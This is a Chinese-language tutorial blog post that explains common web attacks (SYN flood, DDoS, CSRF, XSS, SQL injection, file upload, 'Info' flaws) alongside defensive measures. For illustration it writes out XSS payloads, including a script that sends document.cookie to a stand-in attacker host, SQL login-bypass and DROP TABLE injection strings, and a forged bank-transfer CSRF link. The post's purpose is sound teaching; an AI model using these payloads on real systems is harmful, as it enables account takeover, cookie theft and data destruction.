Web常見幾種攻擊與預(yù)防方式
來源：liaoxiansheng 發(fā)布時(shí)間：2018-05-19 17:12:07 閱讀量：1298
隨著Web2.0、網(wǎng)絡(luò)社交等一系列新型的互聯(lián)網(wǎng)產(chǎn)品的誕生，基于Web環(huán)境的互聯(lián)網(wǎng)應(yīng)用越來越廣泛，企業(yè)信息化的過程中，越來越多的應(yīng)用都架設(shè)在Web平臺上。Web業(yè)務(wù)的迅速發(fā)展吸引了黑客們的強(qiáng)烈關(guān)注，接踵而至的就是Web安全威脅的凸顯。黑客利用網(wǎng)站操作系統(tǒng)的漏洞和Web服務(wù)程序的SQL注入漏洞等得到Web服務(wù)器的控制權(quán)限，輕則篡改網(wǎng)頁內(nèi)容，重則竊取重要內(nèi)部數(shù)據(jù)，更為嚴(yán)重的則是在網(wǎng)頁中植入惡意代碼，使得網(wǎng)站訪問者受到侵害。這使得越來越多的用戶關(guān)注應(yīng)用層的安全問題，Web應(yīng)用安全的關(guān)注度也逐漸升溫。
本文從目前比較常見攻擊方式入手，對過去一些經(jīng)典方式進(jìn)行學(xué)習(xí)和總結(jié)，希望能讓大家對Web的安全有更清晰的認(rèn)識。在閱讀本文之前，小伙伴們需要對HTTP和TCP協(xié)議、SQL數(shù)據(jù)庫、JavaScript有所了解哦。
廢話不多說，下面開始我們的Web安全之旅吧！
DoS和DDoS攻擊
DoS(Denial of Service)，即拒絕服務(wù)，造成遠(yuǎn)程服務(wù)器拒絕服務(wù)的行為被稱為DoS攻擊。其目的是使計(jì)算機(jī)或網(wǎng)絡(luò)無法提供正常的服務(wù)。最常見的DoS攻擊有計(jì)算機(jī)網(wǎng)絡(luò)帶寬攻擊和連通性攻擊。
為了進(jìn)一步認(rèn)識DoS攻擊，下面舉個(gè)簡單的栗子來進(jìn)行說明：
圖1 TCP三次握手：數(shù)據(jù)段互換 Client發(fā)送連接請求報(bào)文，Server接受連接后回復(fù)ACK報(bào)文，并為這次連接分配資源。Client接收到ACK報(bào)文后也向Server發(fā)送ACK報(bào)文，并分配資源，這樣TCP連接就建立了。前兩次握手，是為了保證服務(wù)端能收接受到客戶端的信息并能做出正確的應(yīng)答；后兩次握手，是為了保證客戶端能夠接收到服務(wù)端的信息并能做出正確的應(yīng)答。建立完TCP三次握手后，Client就可以和Web服務(wù)器進(jìn)行通信了。 在DoS攻擊中，攻擊者通過偽造ACK數(shù)據(jù)包，希望Server重傳某些數(shù)據(jù)包，Server根據(jù)TCP重轉(zhuǎn)機(jī)制，進(jìn)行數(shù)據(jù)重傳。攻擊者利用TCP協(xié)議缺陷，通過發(fā)送大量的半連接請求，耗費(fèi)CPU和內(nèi)存資源。實(shí)現(xiàn)方式如下圖：
圖2 攻擊者偽造ACK數(shù)據(jù)包，發(fā)送大量的半連接請求
Web服務(wù)器在未收到客戶端的確認(rèn)包時(shí)，會(huì)重發(fā)請求包一直到鏈接超時(shí)，才將此條目從未連接隊(duì)列刪除。攻擊者再配合IP欺騙，SYN攻擊會(huì)達(dá)到很好的效果。通常攻擊者在短時(shí)間內(nèi)偽造大量不存在的IP地址，向服務(wù)器不斷地發(fā)送SYN包，服務(wù)器回復(fù)確認(rèn)包，并等待客戶的確認(rèn)，由于源地址是不存在的，服務(wù)器需要不斷的重發(fā)直至超時(shí)，這些偽造的SYN包將長時(shí)間占用未連接隊(duì)列，正常的SYN 請求被丟棄，目標(biāo)系統(tǒng)運(yùn)行緩慢，嚴(yán)重者引起網(wǎng)絡(luò)堵塞甚至系統(tǒng)癱瘓。
SYN攻擊的問題就出在TCP連接的三次握手中，假設(shè)一個(gè)用戶向服務(wù)器發(fā)送了SYN報(bào)文后突然死機(jī)或掉線，那么服務(wù)器在發(fā)出SYN+ACK應(yīng)答報(bào)文后是無法收到客戶端的ACK報(bào)文的，從而導(dǎo)致第三次握手無法完成。在這種情況下服務(wù)器端一般會(huì)重試，即再次發(fā)送SYN+ACK給客戶端，并等待一段時(shí)間后丟棄這個(gè)未完成的連接。這段時(shí)間的長度我們稱為SYN Timeout，一般來說這個(gè)時(shí)間是分鐘的數(shù)量級，大約為30秒到2分鐘。一個(gè)用戶出現(xiàn)異常導(dǎo)致服務(wù)器的一個(gè)線程等待1分鐘并不是什么很大的問題，但如果有一個(gè)惡意的攻擊者大量模擬這種情況，服務(wù)器端將為了維護(hù)一個(gè)非常大的半連接列表而消耗非常多的資源，即數(shù)以萬計(jì)的半連接，將會(huì)對服務(wù)器的CPU和內(nèi)存造成極大的消耗。若服務(wù)器的TCP/IP棧不夠強(qiáng)大，最后的結(jié)果往往是堆棧溢出崩潰。實(shí)際上，就算服務(wù)器端的系統(tǒng)足夠強(qiáng)大，服務(wù)器端也將忙于處理攻擊者偽造的TCP連接請求而無暇理睬客戶的正常請求，導(dǎo)致用戶的正常請求失去響應(yīng)。
對于該類問題，我們可以做如下防范：
第一種是縮短SYN Timeout時(shí)間，及時(shí)將超時(shí)請求丟棄，釋放被占用CPU和內(nèi)存資源。
第二種是限制同時(shí)打開的SYN半連接數(shù)目，關(guān)閉不必要的服務(wù)。
第三種方法是設(shè)置SYN Cookie，給每一個(gè)請求連接的IP地址分配一個(gè)Cookie。如果短時(shí)間內(nèi)連續(xù)受到某個(gè)IP的重復(fù)SYN報(bào)文，就認(rèn)定是受到了攻擊，以后從這個(gè)IP地址來的包會(huì)被一概丟棄。
一般來說，第三種方法在防范該類問題上表現(xiàn)更佳。同時(shí)可以在Web服務(wù)器端采用分布式組網(wǎng)、負(fù)載均衡、提升系統(tǒng)容量等可靠性措施，增強(qiáng)總體服務(wù)能力。
DDoS(Distributed Denial of Service，分布式拒絕服務(wù))是DoS攻擊的一種方法。攻擊指借助于客戶/服務(wù)器技術(shù)，將多個(gè)計(jì)算機(jī)聯(lián)合起來作為攻擊平臺，對一個(gè)或多個(gè)目標(biāo)發(fā)動(dòng)DDoS攻擊，從而成倍地提高拒絕服務(wù)攻擊的威力。阻止合法用戶對正常網(wǎng)絡(luò)資源的訪問，從而達(dá)成攻擊者不可告人的目的。DDoS的攻擊策略側(cè)重于通過很多“僵尸主機(jī)”，向受害主機(jī)發(fā)送大量看似合法的網(wǎng)絡(luò)包，從而造成網(wǎng)絡(luò)阻塞或服務(wù)器資源耗盡而導(dǎo)致拒絕服務(wù)。
圖3 DDoS攻擊創(chuàng)建“僵尸主機(jī)”的過程
從上圖可知，DDOS是利用一批受控制的僵尸主機(jī)向一臺服務(wù)器主機(jī)發(fā)起的攻擊，其攻擊的強(qiáng)度和造成的威脅要比DOS嚴(yán)重很多，更具破壞性。
對于DDoS攻擊，我們可以做如下防范：
(1) 反欺騙：對數(shù)據(jù)包的地址及端口的正確性進(jìn)行驗(yàn)證，同時(shí)進(jìn)行反向探測。
(2) 協(xié)議棧行為模式分析：每個(gè)數(shù)據(jù)包類型需要符合RFC規(guī)定，這就好像每個(gè)數(shù)據(jù)包都要有完整規(guī)范的著裝，只要不符合規(guī)范，就自動(dòng)識別并將其過濾掉。
(3) 特定應(yīng)用防護(hù)：非法流量總是有一些特定特征的，這就好比即便你混進(jìn)了顧客群中，但你的行為還是會(huì)暴露出你的動(dòng)機(jī)，比如老重復(fù)問店員同一個(gè)問題，老做同樣的動(dòng)作，這樣你仍然還是會(huì)被發(fā)現(xiàn)的。
(4) 帶寬控制：真實(shí)的訪問數(shù)據(jù)過大時(shí)，可以限制其最大輸出的流量，以減少下游網(wǎng)絡(luò)系統(tǒng)的壓力。
CSRF攻擊
CSRF(Cross Site Request Forgery)，即跨站請求偽造，是一種常見的Web攻擊，但很多開發(fā)者對它很陌生。CSRF也是Web安全中最容易被忽略的一種攻擊。下面先介紹一下CSRF攻擊的原理。
圖4 CSRF攻擊過程的示例圖
受害者用戶登錄網(wǎng)站A，輸入個(gè)人信息，在本地保存服務(wù)器生成的cookie。攻擊者構(gòu)建一條惡意鏈接，例如對受害者在網(wǎng)站A的信息及狀態(tài)進(jìn)行操作，典型的例子就是轉(zhuǎn)賬。受害者打開了攻擊者構(gòu)建的網(wǎng)頁B，瀏覽器發(fā)出該惡意連接的請求，瀏覽器發(fā)起會(huì)話的過程中發(fā)送本地保存的cookie到網(wǎng)址A，A網(wǎng)站收到cookie，以為此鏈接是受害者發(fā)出的操作，導(dǎo)致受害者的身份被盜用，完成攻擊者惡意的目的。
舉個(gè)簡單的例子來說明下CSRF的危害。用戶登陸某銀行網(wǎng)站，以Get請求的方式完成到另一銀行的轉(zhuǎn)賬，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000。攻擊者可構(gòu)造另一危險(xiǎn)鏈接http://www.mybank.com/Transfer.php?toUserId=100&money=1000并把該鏈接通過一定方式發(fā)給受害者用戶。受害者用戶若在瀏覽器打開此鏈接，會(huì)將之前登陸后的cookie信息一起發(fā)送給銀行網(wǎng)站，服務(wù)器在接收到該請求后，確認(rèn)cookie信息無誤，會(huì)完成改請求操作，造成攻擊行為完成。攻擊者可以構(gòu)造CGI的每一個(gè)參數(shù)，偽造請求。這也是存在CSRF漏洞的最本質(zhì)原因。
對于CSRF攻擊，我們可以做如下防范：
(1) 驗(yàn)證碼。應(yīng)用程序和用戶進(jìn)行交互過程中，特別是賬戶交易這種核心步驟，強(qiáng)制用戶輸入驗(yàn)證碼，才能完成最終請求。在通常情況下，驗(yàn)證碼夠很好地遏制CSRF攻擊。
但增加驗(yàn)證碼降低了用戶的體驗(yàn)，網(wǎng)站不能給所有的操作都加上驗(yàn)證碼。所以只能將驗(yàn)證碼作為一種輔助手段，在關(guān)鍵業(yè)務(wù)點(diǎn)設(shè)置驗(yàn)證碼。
(2) Referer Check。HTTP Referer是header的一部分，當(dāng)瀏覽器向web服務(wù)器發(fā)送請求時(shí)，一般會(huì)帶上Referer信息告訴服務(wù)器是從哪個(gè)頁面鏈接過來的，服務(wù)器籍此可以獲得一些信息用于處理?？梢酝ㄟ^檢查請求的來源來防御CSRF攻擊。正常請求的referer具有一定規(guī)律，如在提交表單的referer必定是在該頁面發(fā)起的請求。所以通過檢查http包頭referer的值是不是這個(gè)頁面，來判斷是不是CSRF攻擊。
但在某些情況下如從https跳轉(zhuǎn)到http，瀏覽器處于安全考慮，不會(huì)發(fā)送referer，服務(wù)器就無法進(jìn)行check了。若與該網(wǎng)站同域的其他網(wǎng)站有XSS漏洞，那么攻擊者可以在其他網(wǎng)站注入惡意腳本，受害者進(jìn)入了此類同域的網(wǎng)址，也會(huì)遭受攻擊。出于以上原因，無法完全依賴Referer Check作為防御CSRF的主要手段。但是可以通過Referer Check來監(jiān)控CSRF攻擊的發(fā)生。
(3) Anti CSRF Token。目前比較完善的解決方案是加入Anti-CSRF-Token，即發(fā)送請求時(shí)在HTTP 請求中以參數(shù)的形式加入一個(gè)隨機(jī)產(chǎn)生的token，并在服務(wù)器建立一個(gè)攔截器來驗(yàn)證這個(gè)token。服務(wù)器讀取瀏覽器當(dāng)前域cookie中這個(gè)token值，會(huì)進(jìn)行校驗(yàn)該請求當(dāng)中的token和cookie當(dāng)中的token值是否都存在且相等，才認(rèn)為這是合法的請求。否則認(rèn)為這次請求是違法的，拒絕該次服務(wù)。
這種方法相比Referer檢查要安全很多，token可以在用戶登陸后產(chǎn)生并放于session或cookie中，然后在每次請求時(shí)服務(wù)器把token從session或cookie中拿出，與本次請求中的token 進(jìn)行比對。由于token的存在，攻擊者無法再構(gòu)造出一個(gè)完整的URL實(shí)施CSRF攻擊。但在處理多個(gè)頁面共存問題時(shí)，當(dāng)某個(gè)頁面消耗掉token后，其他頁面的表單保存的還是被消耗掉的那個(gè)token，其他頁面的表單提交時(shí)會(huì)出現(xiàn)token錯(cuò)誤。
XSS攻擊
XSS(Cross Site Scripting)，跨站腳本攻擊。為和層疊樣式表(Cascading Style Sheets，CSS)區(qū)分開，跨站腳本在安全領(lǐng)域叫做“XSS”。惡意攻擊者往Web頁面里注入惡意Script代碼，當(dāng)用戶瀏覽這些網(wǎng)頁時(shí)，就會(huì)執(zhí)行其中的惡意代碼，可對用戶進(jìn)行盜取cookie信息、會(huì)話劫持等各種攻擊。XSS是常見的Web攻擊技術(shù)之一，由于跨站腳本漏洞易于出現(xiàn)且利用成本低，所以被OWASP列為當(dāng)前的頭號Web安全威脅。
圖5 XSS攻擊過程的示例圖
XSS跨站腳本攻擊本身對Web服務(wù)器沒有直接的危害，它借助網(wǎng)站進(jìn)行傳播，使網(wǎng)站上大量用戶受到攻擊。攻擊者一般通過留言、電子郵件或其他途徑向受害者發(fā)送一個(gè)精心構(gòu)造的惡意URL，當(dāng)受害者在Web中打開該URL的時(shí)候，惡意腳本會(huì)在受害者的計(jì)算機(jī)上悄悄執(zhí)行。
根據(jù)XSS攻擊的效果，可以將XSS分為3類：
(1) 反射型XSS(Non-persistent XSS)，服務(wù)器接受客戶端的請求包，不會(huì)存儲(chǔ)請求包的內(nèi)容，只是簡單的把用戶輸入的數(shù)據(jù)“反射”給瀏覽器。例如：www.a.com?xss.php?name=
<script>alert(document.cookie)</script>。訪問這個(gè)鏈接則會(huì)彈出頁面的cookie內(nèi)容，若攻擊者把a(bǔ)lert改為一個(gè)精心構(gòu)造的發(fā)送函數(shù)，就可以把用戶的cookie偷走。
(2) 存儲(chǔ)型XSS(Persistent XSS)，這類XSS攻擊會(huì)把用戶輸入的數(shù)據(jù)“存儲(chǔ)”在服務(wù)器端，具有很強(qiáng)的穩(wěn)定性。注入腳本跟反射型XSS大同小異，只是腳本不是通過瀏覽器à服務(wù)器à瀏覽器這樣的反射方式，而是多發(fā)生在富文本編輯器、日志、留言、配置系統(tǒng)等數(shù)據(jù)庫保存用戶輸入內(nèi)容的業(yè)務(wù)場景。即用戶的注入腳本保存到了數(shù)據(jù)庫里，其他用戶進(jìn)行訪問涉及到包含惡意腳本的鏈接都會(huì)中招。由于這段惡意的腳本被上傳保存到了服務(wù)器，這種XSS攻擊就叫做“存儲(chǔ)型XSS”。例如：
服務(wù)器端代碼：<?php $db.set(‘name’, $_GET[‘name’]);?>
HTML頁面代碼：<?php echo ‘Hi,’ . $db.get[‘name’];?>
圖6 存儲(chǔ)型XSS攻擊過程的示例圖
(3) DOM based XSS(Document Object Model XSS)，這類XSS攻擊者將攻擊腳本注入到DOM 結(jié)構(gòu)里。出現(xiàn)該類攻擊的大多原因是含JavaScrip靜態(tài)HTML頁面存在XSS漏洞。例如下面是一段存在DOM類型跨站腳本漏洞的代碼：
<script>document.write(window.location.search); </script>
在JS中window.location.search是指URL中?之后的內(nèi)容，document.write是將內(nèi)容輸出到頁面。這時(shí)把鏈接換成http://localhost/test.php?default=<script>alert(document.cookie)</script>
那用戶的cookie就被盜了。上面的例子只是很簡單的一種，總結(jié)起來是使用了諸如document.write, innerHTML之類的渲染頁面方法需要注意參數(shù)內(nèi)容是否是可信任的。
XSS攻擊的危害，可以將XSS分為3類：
(1) 竊取用戶信息。黑客可以利用跨站腳本漏洞盜取用戶cookie而得到用戶在該站點(diǎn)的身份權(quán)限。如在DOM樹上新增圖片，用戶點(diǎn)擊后會(huì)將當(dāng)前cookie發(fā)送到黑客服務(wù)器：
vari=document.createElement(“img”);
document.body.appendChild(i);
i.src = “http://www.hackerserver.com/?c=” + document.cookie;
(2) 劫持瀏覽器會(huì)話來執(zhí)行惡意操作，如進(jìn)行非法轉(zhuǎn)賬、強(qiáng)制發(fā)表日志或電子郵件等。
(3) 強(qiáng)制彈廣告頁，刷流量和點(diǎn)擊率。
(4) 傳播跨站腳本蠕蟲。如著名的Samy (XSS)蠕蟲攻擊、新浪微博蠕蟲攻擊。
對于XSS攻擊，我們可以做如下防范：
(1) 輸入過濾。永遠(yuǎn)不要相信用戶的輸入，對用戶輸入的數(shù)據(jù)做一定的過濾。如輸入的數(shù)據(jù)是否符合預(yù)期的格式，比如日期格式，Email格式，電話號碼格式等等。這樣可以初步對XSS漏洞進(jìn)行防御。
上面的措施只在web端做了限制，攻擊者通抓包工具如Fiddler還是可以繞過前端輸入的限制，修改請求注入攻擊腳本。因此，后臺服務(wù)器需要在接收到用戶輸入的數(shù)據(jù)后，對特殊危險(xiǎn)字符進(jìn)行過濾或者轉(zhuǎn)義處理，然后再存儲(chǔ)到數(shù)據(jù)庫中。
(2) 輸出編碼。服務(wù)器端輸出到瀏覽器的數(shù)據(jù)，可以使用系統(tǒng)的安全函數(shù)來進(jìn)行編碼或轉(zhuǎn)義來防范XSS攻擊。在PHP中，有htmlentities()和htmlspecialchars()兩個(gè)函數(shù)可以滿足安全要求。相應(yīng)的JavaScript的編碼方式可以使用JavascriptEncode。
(3) 安全編碼。開發(fā)需盡量避免Web客戶端文檔重寫、重定向或其他敏感操作，同時(shí)要避免使用客戶端數(shù)據(jù)，這些操作需盡量在服務(wù)器端使用動(dòng)態(tài)頁面來實(shí)現(xiàn)。
(4) HttpOnly Cookie。預(yù)防XSS攻擊竊取用戶cookie最有效的防御手段。Web應(yīng)用程序在設(shè)置cookie時(shí)，將其屬性設(shè)為HttpOnly，就可以避免該網(wǎng)頁的cookie被客戶端惡意JavaScript竊取，保護(hù)用戶cookie信息。
(5)WAF(Web Application Firewall)，Web應(yīng)用防火墻，主要的功能是防范諸如網(wǎng)頁木馬、XSS以及CSRF等常見的Web漏洞攻擊。由第三方公司開發(fā)，在企業(yè)環(huán)境中深受歡迎。
SQL注入攻擊
SQL注入(SQL Injection)，應(yīng)用程序在向后臺數(shù)據(jù)庫傳遞SQL(Structured Query Language，結(jié)構(gòu)化查詢語言)時(shí)，攻擊者將SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串，最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。
在了解SQL注入前，我們先認(rèn)識下常用的Web的四層架構(gòu)圖組成：
圖7 Web四層架構(gòu)示例圖
SQL注入常見產(chǎn)生的原因有：
(1) 轉(zhuǎn)義字符處理不當(dāng)。特別是輸入驗(yàn)證和單引號處理不當(dāng)。用戶簡單的在url頁面輸入一個(gè)單引號，就能快速識別Web站點(diǎn)是否易收到SQL注入攻擊。
(2) 后臺查詢語句處理不當(dāng)。開發(fā)者完全信賴用戶的輸入，未對輸入的字段進(jìn)行判斷和過濾處理，直接調(diào)用用戶輸入字段訪問數(shù)據(jù)庫。
(3) SQL語句被拼接。攻擊者構(gòu)造精心設(shè)計(jì)拼接過的SQL語句，來達(dá)到惡意的目的。如構(gòu)造語句：select * from users where userid=123; DROP TABLE users;直接導(dǎo)致user表被刪除。
SQL注入常見的注入方式有：
(1) 內(nèi)聯(lián)SQL注入。向查詢注入一些SQL代碼后，原來的查詢?nèi)匀粫?huì)全部執(zhí)行。內(nèi)聯(lián)SQL注入包含字符串內(nèi)聯(lián)SQL注入和數(shù)字內(nèi)聯(lián)SQL注入。注入方式如下圖：
圖8 內(nèi)聯(lián)SQL注入示例圖
攻擊者將精心構(gòu)造的字符串或數(shù)字輸入插入到SQL語句中，例如如下的用戶登陸頁面：
圖9 有SQL注入風(fēng)險(xiǎn)的用戶登陸示例圖
(a) 攻擊者可在username字段中注入 ‘ or ‘1’=’1′ or ‘1’=’1，password保持為空：
SELECT * FROM login_tbl WHERE username = ‘ ‘ or ‘1’=’1′ or ‘1’=’1′ AND userpwd= ‘ ‘
這樣SQL語句查詢語句恒為真，服務(wù)器會(huì)返回login_tbl表里的全部賬戶名和密碼。
(b) 攻擊者可在password字段，輸入’ or ‘1’=’1：
SELECT * FROM login_tbl WHERE username = ‘ ‘ AND userpwd= ‘ ‘ or ‘1’=’1 ‘
這樣SQL語句查詢語句恒為真，服務(wù)器會(huì)返回login_tbl表里的全部賬戶名和密碼。
(c) 攻擊者可在username字段中注入 admin’ and 1=1 or ‘1’=’1：
SELECT * FROM login_tbl WHERE username = ‘a(chǎn)dmin’ and ‘1’=’1′ or ‘1’=’1′ AND userpwd= ‘ ‘
這樣構(gòu)造的SQL語句，服務(wù)器會(huì)返回admin用戶登陸。
常見的字符串內(nèi)聯(lián)注入的特征值如下：
圖10 字符串內(nèi)聯(lián)注入的特征值
常見的數(shù)字值內(nèi)聯(lián)注入的特征值如下：
圖11 數(shù)字值內(nèi)聯(lián)注入的特征值
(2) 終止式SQL注入。攻擊者在注入SQL代碼時(shí)，通過注釋剩下的查詢來成功結(jié)束該語句。注入方式如下圖：
圖12 終止式SQL注入示例圖
攻擊者將精心構(gòu)造的字符串或數(shù)字輸入插入到SQL語句中，例如圖9的用戶登陸頁面：
(a) 攻擊者可在username字段中注入 ‘ or 1=1; –，password保持為空：
SELECT username, userpwd FROM login_tbl WHERE username=” or 1=1; — ‘ and userpwd=”
這樣SQL語句查詢語句恒為真，服務(wù)器會(huì)返回login_tbl表里的全部賬戶名和密碼。
(b) 攻擊者可在username字段中注入 admin’ –，或者admin’ #，password保持為空：
SELECT username, userpwd FROM login_tbl WHERE username=’admin’ –‘ and userpwd=”
SELECT username, userpwd FROM login_tbl WHERE username=’admin’ #’ and userpwd=”
這樣構(gòu)造的SQL語句，服務(wù)器會(huì)返回admin用戶登陸。
(c) 攻擊者可在username字段中注入 admin’ /*，password輸入*/’：
SELECT username, userpwd FROM login_tbl WHERE username=’admin’ /*’ and userpwd=’*/”
這樣構(gòu)造的SQL語句，服務(wù)器會(huì)返回admin用戶登陸。
常見的終止式SQL注入的特征值如下：
圖13 終止式SQL注入的特征值
對于SQL注入攻擊，我們可以做如下防范：
(1) 防止系統(tǒng)敏感信息泄露。設(shè)置php.ini選項(xiàng)display_errors=off，防止php腳本出錯(cuò)之后，在web頁面輸出敏感信息錯(cuò)誤，讓攻擊者有機(jī)可乘。
(2) 數(shù)據(jù)轉(zhuǎn)義。設(shè)置php.ini選項(xiàng)magic_quotes_gpc=on，它會(huì)將提交的變量中所有的’(單引號)，”(雙引號)，\(反斜杠)，空白字符等都在前面自動(dòng)加上\?；蛘卟捎胢ysql_real_escape()函數(shù)或addslashes()函數(shù)進(jìn)行輸入?yún)?shù)的轉(zhuǎn)義。
(3) 增加黑名單或者白名單驗(yàn)證。白名單驗(yàn)證一般指，檢查用戶輸入是否是符合預(yù)期的類型、長度、數(shù)值范圍或者其他格式標(biāo)準(zhǔn)。黑名單驗(yàn)證是指，若在用戶輸入中，包含明顯的惡意內(nèi)容則拒絕該條用戶請求。在使用白名單驗(yàn)證時(shí)，一般會(huì)配合黑名單驗(yàn)證。
文件上傳漏洞
上傳漏洞在DVBBS6.0時(shí)代被黑客們利用的最為猖獗，利用上傳漏洞可以直接得到WEBSHELL，危害等級超級高，現(xiàn)在的入侵中上傳漏洞也是常見的漏洞。該漏洞允許用戶上傳任意文件可能會(huì)讓攻擊者注入危險(xiǎn)內(nèi)容或惡意代碼，并在服務(wù)器上運(yùn)行。
文件上傳漏洞的原理：由于文件上傳功能實(shí)現(xiàn)代碼沒有嚴(yán)格限制用戶上傳的文件后綴以及文件類型，導(dǎo)致允許攻擊者向某個(gè)可通過 Web 訪問的目錄上傳任意PHP文件，并能夠?qū)⑦@些文件傳遞給 PHP 解釋器，就可以在遠(yuǎn)程服務(wù)器上執(zhí)行任意PHP腳本。
對于文件上傳漏洞攻擊，我們可以做如下防范：
(1)檢查服務(wù)器是否判斷了上傳文件類型及后綴。
(2) 定義上傳文件類型白名單，即只允許白名單里面類型的文件上傳。
(3) 文件上傳目錄禁止執(zhí)行腳本解析，避免攻擊者進(jìn)行二次攻擊。
Info漏洞
Info漏洞就是CGI把輸入的參數(shù)原樣輸出到頁面，攻擊者通過修改輸入?yún)?shù)而達(dá)到欺騙用戶的目的。類似于如下的鏈接：
圖15 Info漏洞示例攻擊圖
Info漏洞存在的3個(gè)主要原因有：
1）CGI參數(shù)可以在頁面顯示。
2）返回的頁面具有很強(qiáng)的欺騙性。
3）該頁面是對所有用戶是公開，可訪問的。
Info漏洞的主要危害在于，若在訪問量較大的公開頁面，如網(wǎng)購、微博或新聞網(wǎng)站，發(fā)布反動(dòng)的政治言論或其他色情詞匯等。一方面會(huì)影響用戶對網(wǎng)購業(yè)務(wù)的信心，同時(shí)也會(huì)給網(wǎng)站帶來一些政治風(fēng)險(xiǎn)。另外，若是發(fā)布欺騙信息，如中獎(jiǎng)、彩票等，也會(huì)對一些用戶造成財(cái)產(chǎn)損失。
對于Info漏洞攻擊，將為常見的就是建立臟詞庫。
即對于曬單，評論，昵稱等可以被其他用戶訪問到的地方，進(jìn)行臟詞過濾。對用戶的輸入詞匯，與臟詞庫中的詞匯進(jìn)行匹配，過濾掉有與臟詞庫相同的詞匯。對于一些面向用戶自己的，而其他用戶不能看到的頁面?？梢圆粚ζ渥雠K詞處理。
介紹就到這里啦，我們一起來做個(gè)總結(jié)吧：
Web安全是我們必須關(guān)注且無法逃避的話題，本文介紹了一些比較典型的安全問題和應(yīng)對方案。例如對于SQL，XSS等注入式攻擊，我們一定要對用戶輸入的內(nèi)容進(jìn)行嚴(yán)格的過濾和審查，這樣可以避免絕大多數(shù)的注入式攻擊方式。對于DoS攻擊我們就需要使用各種工具和配置來減輕危害，另外容易被DDoS攻擊的還有HTTPS服務(wù)，我們要做好特定的應(yīng)用防護(hù)和用戶行為模式分析。所以在日常的開發(fā)和測試過程中，我們要時(shí)常提醒自己，寫出的代碼有沒有可能被人攻擊？或者思考若我是一個(gè)攻擊者，我該怎么做才可以達(dá)到我的攻擊效果呢？只有這樣知己知彼后，方可百戰(zhàn)百勝！
13450931319
微信登錄
QQ登錄
微博登錄
售前咨詢
